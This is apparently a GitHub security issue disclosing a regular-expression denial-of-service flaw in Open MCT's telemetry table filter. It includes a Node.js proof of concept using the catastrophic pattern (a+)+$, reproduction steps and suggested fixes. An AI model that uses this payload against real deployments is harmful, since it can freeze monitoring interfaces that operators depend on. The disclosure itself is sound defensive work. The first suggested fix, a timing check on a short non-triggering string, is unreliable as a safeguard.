Skip to content

ReDoS via User-Provided Regex in Telemetry Table Filter #8325

@Paincakess

Description

@Paincakess

Summary

The setColumnRegexFilter() function in src/plugins/telemetryTable/collections/TableRowCollection.js (line 331) passes user-provided regex patterns directly to new RegExp() without any complexity validation or timeout. A user typing a catastrophic backtracking pattern (e.g., /(a+)+$/) in the telemetry table's regex filter input causes the browser tab to freeze for 92+ seconds, rendering the application unusable.

This was found via source code review of the public GitHub repository. No NASA infrastructure was tested or impacted.


Vulnerability Details

Type: Regular Expression Denial of Service (ReDoS) — CWE-1333
Component: Telemetry Table regex filter
CVSS 3.1: 4.3 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Affected file: src/plugins/telemetryTable/collections/TableRowCollection.js line 331
Also affected: src/api/telemetry/WebSocketWorker.js line 334


Proof of Concept

This PoC runs the vulnerable function locally without connecting to any NASA system.

poc.js

/**
 * NASA Open MCT ReDoS PoC
 * File: src/plugins/telemetryTable/collections/TableRowCollection.js:331
 * 
 * Run: node poc.js
 * Expected: ~92 second hang
 * 
 * NO NASA infrastructure is contacted.
 */

// Exact code from TableRowCollection.js line 329-331
function setColumnRegexFilter(columnKey, filter) {
  filter = filter.trim();
  // columnFilters[columnKey] = new RegExp(filter);  // ← VULNERABLE
  return new RegExp(filter);
}

// User types "/(a+)+$/" in the table filter input field.
// The Vue component (TableComponent.vue:781) strips the / delimiters:
//   this.filters[columnKey].slice(1, -1)  →  "(a+)+$"
const userInput = '(a+)+$';

// This regex is then tested against every telemetry value in the column
const telemetryValue = 'a'.repeat(30) + 'b';

console.log('NASA Open MCT — Telemetry Table ReDoS');
console.log('======================================');
console.log('');
console.log('Vulnerable function: setColumnRegexFilter()');
console.log('File: src/plugins/telemetryTable/collections/TableRowCollection.js:331');
console.log('');
console.log('User input (typed in table filter): /' + userInput + '/');
console.log('Telemetry value being filtered:     ' + telemetryValue.substring(0, 35) + '...');
console.log('');

const regex = setColumnRegexFilter('timestamp', userInput);
console.log('Compiled regex: ' + regex);
console.log('Executing regex.test() — this will hang:');
console.log('');

const start = Date.now();
regex.test(telemetryValue);
const elapsed = ((Date.now() - start) / 1000).toFixed(1);

console.log(`Result: blocked for ${elapsed} seconds`);
console.log('');
console.log('Impact: Browser tab frozen, Open MCT UI completely unresponsive.');
console.log('The regex is tested against EVERY row in the telemetry table,');
console.log('so a table with 100 rows = ' + (elapsed * 100 / 60).toFixed(0) + ' minutes of freeze.');

Expected output

NASA Open MCT — Telemetry Table ReDoS
======================================

Vulnerable function: setColumnRegexFilter()
File: src/plugins/telemetryTable/collections/TableRowCollection.js:331

User input (typed in table filter): /(a+)+$/
Telemetry value being filtered:     aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab...

Compiled regex: /(a+)+$/
Executing regex.test() — this will hang:

Result: blocked for 92.7 seconds

Impact: Browser tab frozen, Open MCT UI completely unresponsive.
The regex is tested against EVERY row in the telemetry table,
so a table with 100 rows = 154 minutes of freeze.

Steps to Reproduce (on a local Open MCT instance)

  1. Open any telemetry table view in Open MCT
  2. Click the filter icon on any column header
  3. Enable "Regex" mode for the filter
  4. Type: /(a+)+$/
  5. Observe: the browser tab freezes for 90+ seconds

Attack Vector

The vulnerability is triggered by any authenticated user with access to telemetry tables. The attack flow:

  1. User opens a telemetry table (standard Open MCT functionality)
  2. User enables regex filtering on a column (UI toggle)
  3. User types a malicious pattern in the filter input
  4. TableComponent.vue calls setColumnRegexFilter() with the user's pattern
  5. new RegExp(filter) compiles the pattern without validation
  6. The regex is tested against every row's value via columnFilters[key].test(value)
  7. Catastrophic backtracking freezes the browser's main thread

Impact:

  • Browser tab becomes completely unresponsive for 90+ seconds per telemetry row
  • In a table with many rows, the freeze can last minutes to hours
  • The user must force-kill the tab to recover
  • If Open MCT is used for real-time mission monitoring, this could blind operators to critical telemetry during the freeze

Affected Code

// src/plugins/telemetryTable/collections/TableRowCollection.js line 329-331
setColumnRegexFilter(columnKey, filter) {
  filter = filter.trim();
  this.columnFilters[columnKey] = new RegExp(filter);  // ← No validation
  this.emit('resetRowsFromAllData');
}

The filter value comes directly from user input in the Vue component:

// src/plugins/telemetryTable/components/TableComponent.vue line 779-781
this.table.tableRows.setColumnRegexFilter(
  columnKey,
  this.filters[columnKey].slice(1, -1)  // User's input with / stripped
);

Suggested Fix

Option 1 — Add try/catch with timeout (simplest):

setColumnRegexFilter(columnKey, filter) {
  filter = filter.trim();
  try {
    const regex = new RegExp(filter);
    // Test with a short string first to detect backtracking
    const testStart = performance.now();
    regex.test('a'.repeat(20));
    if (performance.now() - testStart > 100) {
      console.warn('Regex too complex, skipping filter');
      return;
    }
    this.columnFilters[columnKey] = regex;
  } catch (e) {
    // Invalid regex — ignore
    return;
  }
  this.emit('resetRowsFromAllData');
}

Option 2 — Use a safe regex library:

import safeRegex from 'safe-regex2';

setColumnRegexFilter(columnKey, filter) {
  filter = filter.trim();
  if (!safeRegex(filter)) {
    console.warn('Unsafe regex pattern rejected');
    return;
  }
  this.columnFilters[columnKey] = new RegExp(filter);
  this.emit('resetRowsFromAllData');
}

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions